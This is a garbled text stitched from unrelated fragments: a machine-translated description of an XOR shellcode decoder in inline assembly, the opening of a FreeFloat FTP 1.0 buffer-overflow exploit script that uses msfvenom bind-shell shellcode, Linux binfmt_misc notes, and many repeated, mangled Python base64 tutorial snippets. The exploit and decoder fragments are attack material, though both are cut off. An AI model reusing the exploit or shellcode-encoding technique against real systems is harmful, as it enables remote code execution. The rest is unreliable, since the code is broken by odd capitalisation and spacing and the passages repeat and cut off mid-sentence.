repeat the process):Shellcode trailing add end character 0x90 will shellcode byte-by-bit with 0x44 XOR or cryptographic assembly implementation decoder and extraction machine code decoder machine codes in the Shellcode header decoder eax alignment shellcode start position, Byte-by-bit with 0x44 or decryption, encountering 0x90 stopThe assembler code for the decoder is as follows:void Main () {__asm {add eax,0x14 xor Ecx,ecxdecode_loop:mov BL,[EAX+ECX] XOR bl,0x44 mov [EAX+ECX],BL inc ECX CMP bl
/# Version: FreeFloat FTP 1.0.# Tested on: Windows XP Pro SP2, English## Description:# FreeFloat FTP 1.0 allows an attacker to trigger a buffer overflow and# Execute arbitrary code when a long and invalid raw command is sent to it.#
Import socket, struct, sys
If len (sys. argv) Print "usage: % s IP port" % (sys. argv [0])Sys. exit (0)
Ip = sys. argv [1]Port = int (sys. argv [2])
# Bind shellcode generated with msfvenom:# Msfvenom-p windows/shell_bind_tcp#-B "\ x00 \ x0a \ x0b \ x27 \ x36 \ xce \
/fs/binfmt_misc defaults 0 0", then it will automatically
It is mounted at startup.
You may want to add the binary formats in one of your/etc/rc scripts
Boot-up. Read the manual of your INIT program to figure out how to do this
Right.
You may want to add a binary format to your/etc/rc script file at startup. Read your startup
Program manual to find out how to do these things correctly.
Think about the order of adding entries! Later added entries are matched first!
Think about the order of ad
Base64 formatted text that can be used in the URL.
Examples of Use:
1 >>> import base64
2 >>> print base64.b64encode(‘Hello, I am Darren!‘)
3 SGVsbG8sIEkgYW0gRGFycmVuIQ==
4 >>>
5 >>> print base64.b64decode(‘SGVsbG8sIEkgYW0gRGFycmVuIQ==‘)
6 Hello, I am Darren!
7 >>>
8 >>> print base64.b64encode(‘i\xb7\x1d\xfb\xef\xff‘)
9 abcd++//
10 >>>
11 >>> print base64.b64encode(‘i\xb7\x1d\
appear after the standard Base64 encoding, it cannot be directly used as a parameter in the URL, so there is another "url safe" base64 encoding, in fact, it is to convert the character + and/into-and _:
?
1 2 3 4 5 6
>>> Base64.b64encode ('I \ xb7 \ x1d \ xfb \ xef \ xff ') 'Abcd ++ //' >>> Base64.urlsafe _ b64encode ('I \ xb7 \ x1d \ xfb \ xef \ xff ') 'Abcd --__' >>> Base64.urlsafe _
body, Web pages and so on.What if the binary data to be encoded is not a multiple of 3 and the last 1 or 2 bytes are left? Base64 with the byte at the end of the top \x00 , and then add 1 or 2 at the end of the code = , indicating how many bytes, decoding the time, will be automatically removed.Python's built-in base64 codec that can be base64 directly:>>> import base64>>> base64.b64encode(‘binary\x00string‘)‘YmluYXJ5AHN0cmluZw==‘>>> base64.b64decode(‘YmluYXJ5AHN0cmluZw==‘)‘binary\x00string‘Sin
encode 3 bytes of binary data into 4 bytes of text data, the length of 33%, the advantage is that the encoded text data can be displayed directly in the message body, Web pages and so on .What if the binary data to be encoded is not a multiple of 3 and the last 1 or 2 bytes are left? Base64 with the byte at the end of the top \x00 , and then add 1 or 2 at the end of the code = , indicating how many bytes, decoding the time, will be automatically removed. Python's built-in base64 codec that can
the end of the top \x00 , and then add 1 or 2 at the end of the code = , indicating how many bytes, decoding the time, will be automatically removed.Import= b'1234567'= Base64.b64encode (s) # Coded Print(S1)print(Base64.b64decode (S1)) # decodeOutputB ' mtizndu2nw== ' B ' 1234567 'Since the standard BASE64 encoding may appear after the character + and / , in the URL can not be directly as a parameter, so there is a "url safe" base64 encoding, in fact + , / is the character and Separate
, B ase64 Application1) Python built -in Base64 base64 can be directly encoded and decoded>>> Import Base64>>> base64.b64 encode (b ' binary\x00string ') # codeB ' ymluyxj5ahn0cmluzw== '>>> base64.b64 Decode (b ' ymluyxj5ahn0cmluzw== ') # decodingB ' binary\x00string '2) Base64 encoding for "url safe"Since the standard BASE64 encoding may appear after the character + and/, in the URL can not be directly as parameters, so there is a "url safe" base64 encoding, in fact, the character + and/resp
pages and so on.What if the binary data to be encoded is not a multiple of 3 and the last 1 or 2 bytes are left? Base64 with the byte at the end of the top \x00 , and then add 1 or 2 at the end of the code = , indicating how many bytes, decoding the time, will be automatically removed.Python's built-in base64 codec that can be base64 directly:>>> Import base64>>> Base64.b64encode (b'binary\x00string' b'ymluyxj5ahn0cmluzw=='>>> base64.b64decode (b' ) ymluyxj5ahn0cmluzw==') b'binary\x00string'Sin
thread: Def loop (): print ' thread%s is running ... '% threading.current_thread (). Name n = 0 while N 。。。。。。。collectionsThe module provides some useful collection classes that can be selected as needed.Defaultdictdictwhen used, if the referenced key does not exist, it will be thrown KeyError . If you want to return a default value when the key does not exist, you can use defaultdict :#coding =utf-8from Collections Import DEFAULTDICTDD = Defaultdict (lambda: ' N/a ') dd[' a '] = 123pr
Base64 Encoding Rules:Binary number of 24bit|Divided into 4 groups, insufficient to complement \x00|Each group is encoded in 1 bytes (denoted by a character in 64 ASCII codes), a total of 4 bytes, and insufficient compensation =importbase64a=base64.b64encode (b ' 12ABC ') print (a) print (str (a, ' utf-8 ')) b =base64.b64decode (a) print (b) print (str (b, ' utf-8 ')) Operation Result:B ' mtjbymm= ' mtjbymm=b ' 12ABC ' 12ABCHowever, there may be a ' + ' or ' \ ' number after encoding, which is n
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